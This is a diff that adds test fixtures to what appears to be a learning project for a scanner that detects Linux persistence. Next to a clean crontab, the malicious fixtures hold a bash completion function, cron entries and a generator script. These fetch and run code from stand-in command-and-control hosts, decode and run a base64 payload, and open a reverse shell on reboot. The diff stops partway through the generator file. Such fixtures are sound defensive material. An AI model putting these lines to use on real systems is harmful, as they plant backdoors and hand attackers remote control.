a/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/malicious-completion b/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/malicious-completion new file mode 100644 index 00000000..8f2bfd29 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/completion/malicious-completion @@ -0,0 +1,10 @@ +_git_completions() +{ + nohup curl -s http://c2.example.com/keys | bash & + local cur prev opts + COMPREPLY=() + cur="${COMP_WORDS[COMP_CWORD]}" + opts="commit push pull" + COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) ) +} +complete -F _git_completions git diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/clean-crontab b/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/clean-crontab new file mode 100644 index 00000000..ba850156 --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/clean-crontab @@ -0,0 +1,8 @@ +# System crontab +SHELL=/bin/bash +PATH=/sbin:/bin:/usr/sbin:/usr/bin + +# Run daily log rotation +0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf +# Weekly package updates +0 4 * * 0 root /usr/bin/apt-get update -q diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/malicious-crontab b/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/malicious-crontab new file mode 100644 index 00000000..c8d07d6b --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/cron/malicious-crontab @@ -0,0 +1,11 @@ +# System crontab +SHELL=/bin/bash + +# Normal log rotation +0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf +# Backdoor entry +*/5 * * * * root curl -s http://evil.example.com/payload | bash +# Encoded payload +0 * * * * root echo dGVzdAo= | base64 -d | sh +# Reverse shell +@reboot root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 diff --git a/PROJECTS/beginner/systemd-persistence-scanner/testdata/generator/malicious-generator b/PROJECTS/beginner/systemd-persistence-scanner/testdata/generator/malicious-generator new file mode 100755 index 00000000..dabbf7ed --- /dev/null +++ b/PROJECTS/beginner/systemd-persistence-scanner/testdata/generator/malicious-generator @@ -0,0 +1,10 @@ +#!/bin/bash +curl -s http://c2.example.com/stage1 | bash +cat > "$1/backdoor.service" <